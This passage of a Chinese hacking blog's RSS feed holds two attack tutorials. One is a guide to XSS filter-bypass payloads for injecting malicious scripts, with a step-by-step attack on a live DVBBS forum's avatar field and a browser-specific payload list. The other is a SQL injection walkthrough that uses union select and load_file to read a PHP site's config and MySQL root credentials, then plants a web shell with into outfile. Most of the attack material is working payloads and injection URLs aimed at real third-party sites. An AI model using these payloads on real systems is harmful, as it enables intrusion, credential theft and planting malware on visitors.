&gt;&gt;rt.vbs<br />@echo t=t^&amp;mid(s,i,1):d=t\86400:r=r^&amp;d:t=t mod 86400:next &gt;&gt;rt.vbs<br />@echo wscrīpt.echo cint(r)^&amp;&quot;d &quot;^&amp;t\3600^&amp;&quot;h &quot;^&amp;t\60 mod 60^&amp;&quot;m &quot;^&amp;t mod 60^&amp;&quot;s&quot;:next &gt;&gt;rt.vbs<br />cscrīpt //nologo rt.vbs &amp; del rt.vbs<br />这个运行时间是从性能计数器中获得的64位整型数，不会出现在49.7天后溢出的情况...</p>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/124.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=124</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=124&amp;key=ea76a9a0</trackback:ping></item><item><title>跨站挂马全攻略2</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/123.html</link><pubDate>Tue, 31 Mar 2009 23:55:55 +0800</pubDate><guid>http://www.mk2leo.com/post/123.html</guid><description><![CDATA[<p><span>四、跨站攻击的挖掘</span><br /><span>知道了</span><span>XSS</span><span>攻击的之后，我们怎样才能挖掘网站的</span><span>XSS</span><span><a href="http://www.7747.net/" target="_blank"><font color="#2f5fa1">漏洞</font></a>呢？</span><br /><br /><br /><span>想挖掘网站的</span><span>XSS</span><span><a href="http://www.7747.net/" target="_blank"><font color="#2f5fa1">漏洞</font></a>，我们必须要有基本的脚本底子，鉴于我们叉子的电脑基础问题，这里我就先为大家解释一下标准测试代码</span><span>&lt;Script&gt;alert(&ldquo;text&rdquo;)&lt; /Script&gt;</span><span>的意思，要注意看哦！其中的</span><span>text</span><span>可以改为任何字，如果存在</span><span>XSS</span><span><a href="http://www.7747.net/" target="_blank"><font color="#2f5fa1">漏洞</font></a>，我们使用这段代码进行</span><span>XSS</span><span>攻击后，浏览相的应页面就会弹出包含</span><span>text</span><span>这个字符的提示框，<strong>如图</strong></span><strong><span>4</span></strong><span>。</span><br />&nbsp;</p><div align="center"><span><img src="http://www.7747.net/Article/UploadFiles/200808/20080803075307726.jpg" border="0" alt="" /> </span><br /><span>而</span><span>&lt;Script&gt;</span><span>与</span><span>&lt; /Script &gt;</span><span>则分别是脚本开始、结束的</span><span>HTML</span><span>标记，</span><span>alert</span><span>是</span><span>JavaScript</span><span>下的一个显示信息对话框的方法，这个大家知道就行。也就是说，如果跨站成功，这个</span><span>alert</span><span>方法就会被执行。因此，我们就可以将</span><span>alert</span><span>换成任意的</span><span>JavaScript</span><span>代码，那么实现挂马功能自然也就不在话下了。</span><br /><br /><br /><span>鉴于</span><span>XSS</span><span>攻击的危害性，一般的站点都会将</span><span>&lt;Script&gt;</span><span>与</span><span>&lt; /Script &gt;</span><span>这样敏感的关键字过滤，那该怎么办？难道我们一开始就被难住了吗？</span><span>ON</span><span>！我们当然不能被他们难住，肯定有办法突破的！</span><br /><br /><br /><span>但是突破了这个限制，如果碰到别的限制怎么办呢？不要急，今天我就带领大家步步设防，在步步突破！从不断的突破中带领大家学习</span><span>XSS</span><span>攻击的大体思路！</span><br /><br /><br /><span>那么面对我们的第一道关于</span><span>&lt;Script&gt;</span><span>与</span><span>&lt; /Script &gt;</span><span>的过滤我们该怎么办呢？</span><br /><br /><br /><span>第一步就是看看替换大小写！这替换大小写真可谓万能招数啊&hellip;&hellip;</span><br /><br /><br /><span>我们只需将</span><span>&lt;Script&gt;</span><span>与</span><span>&lt; /Script &gt;</span><span>改为</span><span>&lt;ScRipT&gt;</span><span>与</span><span>&lt; /SCrIPt &gt;</span><span>或类似的形式即可。如果没通过怎么办？看看下面这个办法。</span><br /><br /><br /><span>对于过滤</span><span>&lt;Script&gt;</span><span>与</span><span>&lt; /Script &gt;</span><span>来说，我们使用</span><span>HTML</span><span>标签下就可以绕过，例如：</span><br /><span>&lt;img src=javascript:alert(&ldquo;text-img&rdquo;) &gt;&lt;/img&gt;</span><br /><br /><span>它执行后与</span><span>&lt;Script&gt;alert(&ldquo;text&rdquo;)&lt; /Script&gt;</span><span>结果是一样的，<strong>如图</strong></span><strong><span>5</span></strong><span>。</span><br /><div align="center"><span><img src="http://www.7747.net/Article/UploadFiles/200808/20080803075309782.jpg" border="0" alt="" /> </span><br /><span>通过对比，我们可以知道被执行的是&ldquo;</span><span> alert(&ldquo;text-img&rdquo;) </span><span>&rdquo;这段</span><span>JavaScript</span><span>代码，而执行</span><span>JavaScript</span><span>的标记则变成了&ldquo;</span><span> javascript: </span><span>&rdquo;，这段</span><span>XSS</span><span>攻击代码巧妙的利用了</span><span>&lt;img&gt;</span><span>标签提供的&ldquo;</span><span>&lt;&gt;</span><span>&rdquo;号执行了相应的</span><span>JavaScript</span><span>代码。</span><br /><br /><br /><span>那么，如果我们</span><span>javascript:</span><span>也被过滤了的话，那该怎么办呢？呵呵，我们还可以试试部分字符换作</span><span>ASCII</span><span>码表示是否可以。对于过滤</span><span>javascript:</span><span>来说，我们就将</span><span>javascript:</span><span>中的某些字符转换为</span><span>16</span><span>进制的值，例如：</span><span>&lt;img src=&rdquo;<strong>j</strong>avascript<strong>:</strong>aler(/src-text/) &ldquo;&gt;</span><span>，其中的</span><span>j</span><span>与</span><span>j</span><span>就是&ldquo;</span><span>j</span><span>&rdquo;与&ldquo;</span><span>:</span><span>&rdquo;的</span><span>16</span><span>进制。当然我们转换成</span><span>&lt;IMG SRC=javascript:alert('XSS')&gt;</span><span>效果更好些！除此之外，我们还可以将</span><span>j</span><span>由</span><span>j</span><span>转换成例如</span><span>j</span><span>也可以。</span><br /><br /><br /><strong><span>具体转换内容大家可以参考</span><span>ASCII</span><span>码表</span></strong><br /><br /><br /><br /><br /><span>&nbsp;&nbsp;&nbsp; 但是如果对方又过滤了&ldquo;</span><span>&amp;</span><span>&rdquo;号或&ldquo;</span><span>#</span><span>&rdquo;号该怎么办呢？</span><span> </span><span>我们可以试试下面这条</span><span>XSS</span><span>攻击测试代码：</span><br /><span>&lt;img src=javascr<br />ipt:alert(&ldquo;text-img&rdquo;) &gt;&lt;/img&gt;</span><br /><br /><span>看到了没有？中间的一个</span><span>[Tab]</span><span>键弄出来的空白（这个空白叫做制表符）即可绕过这类过滤，呵呵！除此之外以下几个</span><span>XSS</span><span>攻击代码也可以绕过这种过滤。</span><br /><span>&lt;IMG SRC=&quot;jav ascript:alert('XSS');&quot;&gt;</span><br /><span>&lt;IMG SRC=&quot;jav ascript:alert('XSS');&quot;&gt;</span><br /><span>&lt;IMG SRC=&quot;jav ascript:alert('XSS');&quot;&gt;</span><br /><br /><span>当然，如果仅仅是过滤掉</span><span>javascript:</span><span>的话，我们其实还有一个非常简单的方法，不用</span><span>javascript</span><span>脚本！别忘了微软还为我们准备了</span><span>VBScript</span><span>啊！我们将代码简单的换成</span><span>&lt;IMG SRC='vbscript:msgbox(&quot;XSS&quot;)'&gt;</span><span>即可。</span><br /><br /><br /><span>而如果对方过滤了&ldquo;</span><span>SRC</span><span>&rdquo;的话怎么办呢？呵呵！不急！我们还可以利用下面的</span><span>XSS</span><span>攻击代码绕过这种过滤，效果与利用</span><span>SRC</span><span>基本一致。</span><br /><span>&lt;IMG DYNSRC=&quot;javascript:alert('XSS')&quot;&gt;</span><br /><span>&lt;IMG LOWSRC=&quot;javascript:alert('XSS')&quot;&gt;</span><br /><br /><span>然而随着</span><span>XSS</span><span>攻击的频繁发生，程序员们都开始想着怎样避免<a href="http://www.7747.net/" target="_blank"><font color="#2f5fa1">漏洞</font></a>的出现，于是他们过滤了制表符这类部常见的符号，过滤空格还过滤了</span><span>javascript</span><span>。</span><br /><br /><br /><span>但是聪明的我们还可以利用事件和属性替换掉关键字，绕过监测，比如：</span><br /><span>&lt;img src=&quot;#&quot; onerror=alert(/error-text/) &gt;</span><br /><br /><span>由于</span><span>HTML</span><span>的脚本默认就是</span><span>JavaScript</span><span>，因此即便是我们不特别的声明，其中的</span><span>alert(/error-text/)</span><span>还是可以顺利执行，而它的执行利用的是错误事件</span><span>onerror</span><span>才得以完成的。有的初学朋友可能会头晕了，什么事件啊属性啊什么的，我不懂啊！呵呵，不要着急，对于初学的朋友，你只要记住其中的</span><span>alert(/error-text/)</span><span>可以换成其他</span><span>JavaScript</span><span>代码就可以了。</span><br /><br /><br /><span>但是有的初学者不明白了，我们知道这些又有什么用呢？你可以将其换成</span><span>&lt;img src=&quot;#&quot; onerror=document.write('http:\/\/a1pass.blog.163.com\/') &gt;</span><span>来实现挂马功能。而且到后期当你懂得一定的脚本知识时，你可以用它做更多的事。</span><br /><br /><br /><span>哦，原来利用事件也能跨站，所以有的人又开始过滤事件，以使我们的</span><span>onerror</span><span>事件无法执行。但是&ldquo;山穷水尽疑无路，柳暗花明又一村&rdquo;，总使你过滤再多的事件，如果我自己构造一个呢？下面这段代码就是我构造的一个叫做&ldquo;</span><span>A1Pass</span><span>&rdquo;的事件，它的执行结果与通过</span><span>onerror</span><span>来执行</span><span>JavaScript</span><span>代码的结果是一样的。</span><br /><span>&lt;img src=&quot;#&quot; style=&quot;A1Pass:expression(alert(/style -text/));&quot;&gt;</span><br /><span>执行结果如<strong>图</strong></span><strong><span>6</span></strong><span>所示。</span><br /><div align="center"><span><img src="http://www.7747.net/Article/UploadFiles/200808/20080803075310975.jpg" border="0" alt="" /> </span><br /><span>我们甚至不要</span><span>SRC</span><span>并且脱离</span><span>&lt;img&gt;</span><span>标签都可以成功进行</span><span>XSS</span><span>攻击！例如下面那段</span><span>XSS</span><span>测试代码。</span><br /><span>&lt; DIV style=&quot;A1Pass:expression(alert(/style -text/));&quot;&gt;</span><br /><br /><span>值得注意的是，通过</span><span>style</span><span>构造的事件会执行两次，而且当鼠标移过时也会再次触发</span><span>style</span><span>事件。</span><br /><br /><br /><span>当然除此之外我们还可以利用其他未被过滤的事件，或者利用上面所说的制表符（</span><span>Tab</span><span>键）来分割被过滤的关键字，除此之外注释符号&ldquo;</span><span>/**/</span><span>&rdquo;也可以当作空格来用，例如：</span><br /><span>&lt; img src=&quot;#&quot;/**/onerror=alert(/error-text/) &gt;</span><br /><br /><span>讲到这里有的朋友可能已经按耐不住了，那我们应该怎样去挖掘这些<a href="http://www.7747.net/" target="_blank"><font color="#2f5fa1">漏洞</font></a>呢？我可以很负责任的告诉你，在你理解这些</span><span>XSS</span><span>攻击方法的前提下，挖掘这些<a href="http://www.7747.net/" target="_blank"><font color="#2f5fa1">漏洞</font></a>就显得比较简单了，我们下面进行一次</span><span>XSS</span><span>攻击的实验。</span><br /><br /><br /><span>大家都知道，可以输入信息的地方才有可能构成</span><span>XSS</span><span>攻击，但是选择一个输入点的好坏直接关系到</span><span>XSS</span><span>攻击的威力与成功几率。</span><span>我们先从威力方面考虑，当然是用户浏览次数越多，交互越频繁的地方，你进行</span><span>XSS</span><span>攻击后的效果就越明显，就拿<a href="http://bbs.7747.net/" target="_blank"><font color="#2f5fa1">论坛</font></a>来说，用户头像、签名等都是比较高效而且较易成功的</span><span>XSS</span><span>攻击点。</span><br /><font face="宋体">下面我们就拿一个动网论坛做一下实验。<br /><br /><br /><span>第一步先在网上找一个动网论坛，关键字是</span></font><span>POWERED BY DVBBS </span><span>，大家自己搜吧。找到后先查看自己的权限，因为我们要利用自定义头像进行</span><span>XSS</span><span>攻击，所以为了能自定义头像，我这里需要先发</span><span>10</span><span>篇帖子&hellip;&hellip;</span><br /><br /><br /><span>第二步开始验测，我们在动网&ldquo;</span><span style="color: #000000"><span>自定义头像地址：</span></span><span>&rdquo;中输入我们的</span><span>XSS</span><span>测试代码</span><span>&lt;script&gt;alert(&ldquo;text&rdquo;)&lt; /script&gt;</span><span>，然后点击保存。</span><br /><br /><br /><span>但是我们刷新后并没有看到</span><span>text</span><span>弹出来啊！<strong>如图</strong></span><strong><span>7</span></strong><strong><span>。</span></strong><br /><div align="center"><strong><span><img src="http://www.7747.net/Article/UploadFiles/200808/20080803075312281.jpg" border="0" alt="" /> </span></strong><br /><strong><br /></strong><span>怎么办？首先我们在返回的页面信息中可以看到完整的</span><span>XSS</span><span>测试代码</span><span>&lt;script&gt;alert(&ldquo;text&rdquo;)&lt; /script&gt;</span><span>，这至少证明没有被过滤。</span><br /><br /><span>小技巧：如果我们在某一个页面提交完</span><span>XSS</span><span>代码，刷新后还能显示的话（例如完整显示</span><span>&lt;script&gt;</span><span>），那大多数的情况是这个站点存在</span><span>XSS</span><span><a href="http://www.7747.net/" target="_blank"><font color="#2f5fa1">漏洞</font></a>！只是还需要我们进一步去挖掘。</span><br /><br /><span>但是他为什么没有顺利执行呢？这时就需要我们察看网页的源代码了，我们在</span><span>IE</span><span>浏览器的页面中单击右键，选择&ldquo;察看源文件（</span><u><span>V</span></u><span>）&rdquo;选项，即可看到这个页面的</span><span>HTML</span><span>源代码，按</span><span>[Ctrl]+[F]</span><span>快捷键调出查找对话框，输入</span><span>alert(&ldquo;text&rdquo;)</span><span>后我们找到了如下代码：</span><br /><span>&lt;a href=&quot;#&quot; title=&quot;</span><span>头像预览列表</span><span>&quot;&gt;[&lt;font color=&quot;#FF0000&quot;&gt;</span><span>头像预览</span><span>&lt;/font&gt;]&lt;/a&gt;&lt;/td&gt;</span><br /><span>&lt;td width=&quot;180&quot; rowspan=&quot;2&quot; valign=&quot;top&quot; align=&quot;center&quot;&gt;</span><br /><span>&lt;img id=&quot;face&quot; src=&quot;<strong>&lt;script&gt;alert(&ldquo;text&rdquo;)&lt; /script&gt;</strong>&quot; width=&quot;120&quot; height=&quot;120&quot; /&gt;</span><br /><span>&lt;/td&gt;&lt;/tr&gt;</span><br /><br /><span>大家可以看到我们的</span><span>XSS</span><span>测试代码确实没有被过滤，但是被</span><span>&lt;img&gt;</span><span>标签的&ldquo;</span><span>&lt; &gt;</span><span>&rdquo;给包围了，当然就不能执行了！我们怎么办呢？</span><br /><br /><br /><span>这里给大家一个思路：逆向思考！我们怎样不被包围呢？呵呵！大家看看下面这段新构造的</span><span>XSS</span><span>测试代码。</span><br /><span>&gt;&lt;script&gt;alert(&ldquo;text&rdquo;)&lt; /script&gt;&lt;</span><br /><br /><span>当我们输入这段代码后，原先闭合的</span><span>&lt;img&gt;</span><span>标签被我们拆分为</span><span>&lt;img id=&quot;face&quot; src=&quot;&gt;&lt;script&gt;alert(&ldquo;text&rdquo;)&lt; /script&gt;&lt;&quot; width=&quot;120&quot; height=&quot;120&quot; /&gt;</span><br /><br /><span>也就是变成</span><span>&lt;img id=&quot;face&quot; src=&quot;&gt;</span><span>、</span><span>&lt;script&gt;alert(&ldquo;text&rdquo;)&lt;/script&gt;</span><span>、</span><span>&lt;&quot;width=&quot;120&quot; height=&quot;120&quot; /&gt;</span><span>三个单独的语句，我们可爱的</span><span>&lt;script&gt;alert(&ldquo;text&rdquo;)&lt; /script&gt;</span><span>就这样被我们解围了。</span><br /><br /><br /><span>关于</span><span>XSS</span><span>攻击其实是没有定律的，就拿我们绕过验证方法来看，除了上面的其实还有许多许多！随着你脚本底子的增加，你会发现更多的</span><span>XSS</span><span>攻击代码！但是我最后要说的就是一定要注意到浏览器的存在！</span><br /><br /><br /><span>在本小结的最后我为大家附上一些针对不同浏览器可以成功执行的</span><span>XSS</span><span>攻击代码，希望能给大家一些启示。</span><br /><br /><br /><span>&lt;a href=&quot;javascript#[code]&quot;&gt;</span><br /><span>&lt;div &gt;</span><br /><span>&lt;img src=&quot;javascript:[code]&quot;&gt;</span><br /><span>&lt;img tdynsrc=&quot;javascript;[code]&quot;&gt;<br />[IE</span><span>浏览器</span><span>]</span><br /><span>&lt;input type=&quot;imge&quot; dynsrc=&quot;javascript;[code]&quot;&gt;<br />[IE</span><span>浏览器</span><span>]</span><br /><span>&lt;bagsound src=&quot;javascript;[code]&quot;&gt;<br />[IE</span><span>浏览器</span><span>]</span><br /><span>&amp;&lt;script&gt;[code]&lt;/script&gt;</span><br /><span>&amp;{[code]}<br />[N4</span><span>浏览器</span><span>]</span><br /><span>&lt;img src=&amp;{[code]};&gt;</span><br /><span>&lt;link rel=&quot;stylesheet&quot; herf=&quot;javascript;[code]&quot;&gt;</span><br /><span>&lt;8))e src=&quot;vbscript:[code]&quot;&gt;<br />[IE</span><span>浏览器</span><span>]</span><br /><span>&lt;img src=&quot;mocha:[code]&quot;&gt;<br />[N4</span><span>浏览器</span><span>]</span><br /><span>&lt;img src=&quot;livescript:[code]&quot;&gt;<br />[N4</span><span>浏览器</span><span>]</span><br /><span>&lt;div style=&quot;behaviour:url([link to code])&quot;&gt;<br />[IE</span><span>浏览器</span><span>]</span><br /><span>&lt;div style=&quot;binding:url([link to code])&quot;&gt;<br />[Mozilla</span><span>浏览器</span><span>]</span><br /><span>&lt;div style=&quot;width:expression([code]);&quot;&gt;<br /><br />[IE</span><span>浏览器</span><span>]</span><br /><span>&lt;object classid=&quot;clsid:...&quot; codebase=&quot;javascript:[code]&quot;&gt;<br />[IE</span><span>浏览器</span><span>]</span><br /><span>[\xCO][\xBC]script&gt;[code][\xCO][\xBC]/script&gt;<br />[UTF-8;IE;Opera</span><span>浏览器</span><span>]</span><br /><span>上面的内容是我参考安全焦点出版的《网络渗透技术》做的摘录。</span></div></div></div></div>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/123.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=123</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=123&amp;key=4a5d8ea6</trackback:ping></item><item><title>Php网站的脚本注入漏洞实例检测</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/122.html</link><pubDate>Tue, 31 Mar 2009 22:37:20 +0800</pubDate><guid>http://www.mk2leo.com/post/122.html</guid><description><![CDATA[<p>下面我们来看一下php注入的过程。</p><p><img src="http://www.anqn.com/pic/8/hack/image016.jpg" border="0" alt="" /></p><p>因为是网络上的主机，这里仅作注入测试，不作进一步的具体操作。我们首先在网站后面加个单引号字符，返回错误信息，证明该网站有可能存在注入。再提交 and 1=1 正常显示，提交and 1=2显示错误，好，继续提交union注入语句。http://www.xxx.net/view_datail.php?id=357 and 1=1 union select 1 同样显示错误信息。但网站路径我们可以知道，并且是一台linux系统/home/caiqing/www/view_detail.php<strong>，</strong>继续提交</p><p>http://www.xxx.net/view_datail.php?id=357 and 1=1 union select 1,2直到网站正常显示时为http://www.xxx.net/view_datail.php?id=357 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11 这时再输入http://www.xxx.net/view_datail.php?id=357 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11时出现如图显示：</p><p><img src="http://www.anqn.com/pic/8/hack/image017.jpg" border="0" alt="" /></p><p>图片中出现数字3,5,8,9,7等数字，我们再对照一下原网页就清楚了，如下图：</p><p><img src="http://www.anqn.com/pic/8/hack/image018.jpg" border="0" alt="" /></p><p>可以看到在前面一图中的数字3,5,7处为字符型，我们可以采用load_file语句来显示网站中的源代码，我们可以顺利地拿到mysql的帐号和密码。</p><p>接下来将/home/caiqing/www/view_detail.php转化为ascii后为：char(47,104,111,109,101,47,99,97,105,113,105,110,103,47,119,119,119,47,118,105,101,119,95,100,101,116,97,105,108,46,112 ,104,112)采用load_file的方式加在数字7处，如下：</p><p>http://www.xxx.net/view_datail.php?id=357%20and%201=2%20union%20select%201,2,3,4,5,6,load_file(char(47,104,111,109,101,47,99,97,105,113,105,110,103,47,119,119,119,47,118,105,101,119,95,100,101,116,97,105,108,46,112 ,104,112)),8,9,10,11</p><p>如图：</p><p><img src="http://www.anqn.com/pic/8/hack/image019.jpg" border="0" alt="" /></p><p>我们看到有一个config.php可能就是数据库配置文件了，我们再用同样的方式显示出来这个网站的数据库配置文件，最后取得mysql的帐号和密码，还是root权限的，我们可以直接采用上面所说的创建一个表，加入一句话马，再用select * from rose into outfile &quot;/home/caiqing/www/shelll.php &quot;;得到一个webshell。也可以利用数据表中的用户表在url中执行select语句并将管理员用户名和密码显示在数字3和5中，介于我们这里只是作技术分析，不详解。</p>]]></description><category>黑客技术</category><comments>http://www.mk2leo.com/post/122.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=122</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=122&amp;key=54d8ce14</trackback:ping></item></channel></rss>
